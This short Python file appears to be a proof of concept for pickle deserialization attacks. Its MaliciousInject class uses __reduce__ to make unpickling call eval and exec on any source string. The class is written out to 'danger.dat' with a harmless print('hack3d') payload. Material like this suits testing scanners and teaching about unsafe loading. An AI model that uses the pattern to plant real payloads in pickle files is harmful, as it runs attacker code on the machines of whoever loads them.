File size: 318 Bytes
19ddb73 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
import pickle
class MaliciousInject:
def __init__(self, src: str):
self._src = src
def __reduce__(self):
return eval, (f"exec('''{self._src}''')",), None, None, None
content = MaliciousInject("print('hack3d')")
with open('danger.dat', 'wb') as f:
pickle.dump(content, f)
|